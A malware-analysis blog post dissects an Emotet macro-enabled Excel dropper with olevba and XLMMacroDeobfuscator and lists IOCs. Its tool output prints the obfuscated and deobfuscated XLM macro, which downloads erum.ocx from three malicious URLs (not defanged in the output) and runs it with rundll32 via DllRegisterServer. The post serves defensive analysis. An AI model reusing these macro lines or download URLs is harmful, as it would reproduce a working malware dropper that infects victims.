Malware Headliners: Emotet

atomicmatryoshka.com/post/malware-headliners-emotet

z3r0day_504 January 22, 2022

Emotet is a banking trojan that topped the list for most widely seen malware in 2021. Similar to some of my previous posts, Emotet is usually delivered via phishing campaign. In this blog post we'll cover some initial .xlsm analysis and extract useful IOCs.

If you're interested in learning how to set up an environment and replicate some of this activity, check out my "Cracking the Malware Piñata" series here.

INITIAL ANALYSIS

Running exiftool, we get the following information from the sample:

```
remnux@remnux:~$ exiftool emotet
ExifTool Version Number         : 12.26
File Name                       : emotet
Directory                       : .
File Size                       : 83 KiB
File Modification Date/Time     : 2022:01:16 18:13:26-05:00
File Access Date/Time           : 2022:01:16 12:05:08-05:00
File Inode Change Date/Time     : 2022:01:16 11:58:53-05:00
File Permissions                : -rw-rw-r--
File Type                       : XLSM
File Type Extension             : xlsm
MIME Type                       : application/vnd.ms-excel.sheet.macroEnabled
Zip Required Version            : 20
Zip Bit Flag                    : 0x0006
Zip Compression                 : Deflated
Zip Modify Date                 : 1980:01:01 00:00:00
Zip CRC                         : 0x332b8ba7
Zip Compressed Size             : 457
Zip Uncompressed Size           : 1943
Zip File Name                   : [Content_Types].xml
Creator                         : Admin
Last Modified By                : Admin
Create Date                     : 2015:06:05 18:19:34Z
Modify Date                     : 2022:01:14 16:15:59Z
Application                     : Microsoft Excel
Doc Security                    : None
Scale Crop                      : No
Heading Pairs                   : Листы, 3, Макросы Excel 4.0, 1
Titles Of Parts                 : Sheet, Buuk1, Srieifew1, EWDFFEFAD
```

On the exiftool output, we see that this is an XLSM file type. XLSM files, according to Microsoft, are Excel Macro-Enabled Workbooks. Macros allow for the automation of tasks within Microsoft Office documents, and this file extension and type applies specifically to those documents compatible with Microsoft Excel.

TOOL GEARED TOWARDS MACROS

While we can absolutely use zipdump and have some findings, olevba proves to be more successful in this specific circumstance. Developed by Decalage, olevba parses Microsoft OLE2 files. In simple terms, OLE2 files serve as structured storage for linked objects and embedded objects. This tool interacts with files in this format to extract the necessary data for analysis.

Below are screenshots of the olevba tool at work:

```
remnux@remnux:~$ olevba emotet
XLMMacroDeobfuscator: defusedxml is not installed (required to securely parse XLSM files)
XLMMacroDeobfuscator: pywin32 is not installed (only is required if you want to use MS Excel)
olevba 0.60 on Python 3.8.10 - http://decalage.info/python/oletools
===============================================================================
FILE: emotet
Type: OpenXML
-------------------------------------------------------------------------------
VBA MACRO xlm_macro.txt
in file: xlm_macro - OLE stream: 'xlm_macro'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
' RAW EXCEL4/XLM MACRO FORMULAS:
' SHEET: EWDFFEFAD, Macrosheet
' CELL:E13, =FORMULA(Srieifew1!E2,E16)=FORMULA(Buuk1!P22&Buuk1!H9&Buuk1!L2&Buuk1!B15&Buuk1!B15&Srieifew1!B10&Srieifew1!D6&
Srieifew1!F9&Srieifew1!G15&Srieifew1!P20&Srieifew1!K5,E18)=FORMULA(Buuk1!P22&Buuk1!J11&Buuk1!B18&Buuk1!P11&"YHYH"&Buuk1!P9
&Buuk1!K9&Buuk1!P7&Buuk1!P19&Buuk1!H9&Buuk1!L2&Buuk1!B15&Buuk1!B15&Srieifew1!B10&Srieifew1!D6&Srieifew1!F9&Srieifew1!S11&S
rieifew1!P20&Srieifew1!K5&Buuk1!P13,E20)=FORMULA(Buuk1!P22&Buuk1!J11&Buuk1!B18&Buuk1!P11&"YHYH1"&Buuk1!P9&Buuk1!K9&Buuk1!P
7&Buuk1!P19&Buuk1!H9&Buuk1!L2&Buuk1!B15&Buuk1!B15&Srieifew1!B10&Srieifew1!D6&Srieifew1!F9&Srieifew1!D18&Srieifew1!P20&Srie
ifew1!K5&Buuk1!P13,E22)=FORMULA(Buuk1!P22&Buuk1!J11&Buuk1!B18&Buuk1!P11&"YHYH2"&Buuk1!P9&Buuk1!K9&Buuk1!P7&Buuk1!H9&Buuk1!
B15&Buuk1!I17&Buuk1!I3&Buuk1!H13&Buuk1!P11&Buuk1!K9&Buuk1!P13&Buuk1!P7&Buuk1!P13,E24)=FORMULA(Buuk1!P22&Buuk1!H13&Buuk1!N4
&Buuk1!H13&Buuk1!H9&Buuk1!P11&Buuk1!P15&Buuk1!H9&Buuk1!P20&Srieifew1!O14&Srieifew1!Q3&Srieifew1!N9&Srieifew1!O5&Buuk1!P15&
Buuk1!P17&"YHYH6"&Buuk1!P13,E26)=FORMULA(Buuk1!P22&Buuk1!G24&Buuk1!H13&Buuk1!I26&Buuk1!E11&Buuk1!G24&Buuk1!K23&Buuk1!P11&B
uuk1!P13,E32), 0
```

```
' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
' EMULATION - DEOBFUSCATED EXCEL4/XLM MACRO FORMULAS:
' CELL:E13       , FullEvaluation      , False
' CELL:E18       , FullEvaluation      , CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://zml.laneso.com/packet/AlvJ
8OdtSYEeeCQP/","..\erum.ocx",0,0)
' CELL:E20       , FullEvaluation      , IF(YHYH<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ostadsarma.com/wp
-admin/JNgASjNC/","..\erum.ocx",0,0))
' CELL:E22       , FullEvaluation      , IF(YHYH1<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://govtjobresultbd.
xyz/sjjz/UIUhOHsLqjOy9/","..\erum.ocx",0,0))
' CELL:E24       , FullEvaluation      , IF(YHYH2<0,CLOSE(0),)
' CELL:E26       , PartialEvaluation   , =EXEC("C:\Windows\SysWow64\rundll32.exe ..\erum.ocx,D""&""l""&""lR""&""egister""&
""Serve""&""r")
' CELL:E32       , FullEvaluation      , RETURN()
+----------+--------------------+--------------------------------------------+
|Type      |Keyword             |Description                                 |
+----------+--------------------+--------------------------------------------+
|Suspicious|CALL                |May call a DLL using Excel 4 Macros (XLM/XLF)|
|Suspicious|Windows             |May enumerate application windows (if       |
|          |                    |combined with Shell.Application object)     |
|Suspicious|URLDownloadToFileA  |May download files from the Internet        |
|Suspicious|EXEC                |May run an executable file or a system      |
|          |                    |command using Excel 4 Macros (XLM/XLF)      |
|Suspicious|Base64 Strings      |Base64-encoded strings were detected, may be |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                    |
```

```
|IOC       |https://zml.laneso.c|URL                                         |
|          |om/packet/AlvJ8OdtSY|                                            |
|          |EeeCQP/             |                                            |
|IOC       |http://ostadsarma.co|URL                                         |
|          |m/wp-admin/JNgASjNC/|                                            |
|IOC       |http://govtjobresult|URL                                         |
|          |bd.xyz/sjjz/UIUhOHsL|                                            |
|          |qjOy9/              |                                            |
|IOC       |rundll32.exe        |Executable file name                        |
|Suspicious|XLM macro           |XLM macro found. It may contain malicious   |
|          |                    |code                                        |
+----------+--------------------+--------------------------------------------+
```

There's a lot of information here. We see that the macro calls out to 3 different domains with the intent of downloading a file. The file has an .ocx extension, meaning it is used as an ActiveX control and, once configured, can steal information from the browser, download additional files, amongst other malicious behaviors.

We see the DllRegisterServer function, which is typically used with the regsvr32.exe binary but can also be leveraged by rundll32.exe, shown in olevba's output. According to Microsoft, the DllRegisterServer function "instructs an in-process server to create its registry entries for all classes supported." In this instance, it is being used to register the ActiveX controls and bypass application controls in the process.

At the bottom of the olevba output, we see a reference to an XLM macro. It doesn't hurt to run the file through XLMdeobfuscator to see if we can extract any additional information. In this instance, the output already corroborates our findings from olevba:

```
XLMMacroDeobfuscator(v0.2.3) - https://github.com/DissectMalware/XLMMacroDeobfuscator

File: /home/remnux/emotet

Unencrypted xlsm file

[Loading Cells]
auto_open: auto_open->EWDFFEFAD!$E$1
[Starting Deobfuscation]
CELL:E13       , FullEvaluation      , False
CELL:E18       , FullEvaluation      , CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://zml.laneso.com/packet/AlvJ8O
dtSYEeeCQP/","..\erum.ocx",0,0)
CELL:E20       , FullEvaluation      , IF(YHYH<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ostadsarma.com/wp-a
dmin/JNgASjNC/","..\erum.ocx",0,0))
CELL:E22       , FullEvaluation      , IF(YHYH1<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://govtjobresultbd.xy
z/sjjz/UIUhOHsLqjOy9/","..\erum.ocx",0,0))
CELL:E24       , FullEvaluation      , IF(YHYH2<0,CLOSE(0),)
CELL:E26       , PartialEvaluation   , =EXEC("C:\Windows\SysWow64\rundll32.exe ..\erum.ocx,D""&""l""&""lR""&""egister""&""
Serve""&""r")
CELL:E32       , FullEvaluation      , RETURN()

Files:

[END of Deobfuscation]
```

INDICATORS OF COMPROMISE

Domains:

https://zml.laneso[.]com/packet/AlvJ80dtSYEeeCQP/

http://ostadsarma[.]com/wp-admin/JNgASjNC/

http://govtjobresultbd[.]xyz/sjjz/UIUh0HsLqj0y9/

File names:

erum.ocx

File hash:

1a243db583013a6999761dad88d6952351fdc2cd17d2016990276a9dd11ac90b

FURTHER REFERENCES

OLE Formats (*Microsoft*)

DLLRegisterServer Function (*Microsoft*)

2021 Threat Detection Report - rundll32.exe (*Red Canary*)

Register an ActiveX Control Manually (*Microsoft*)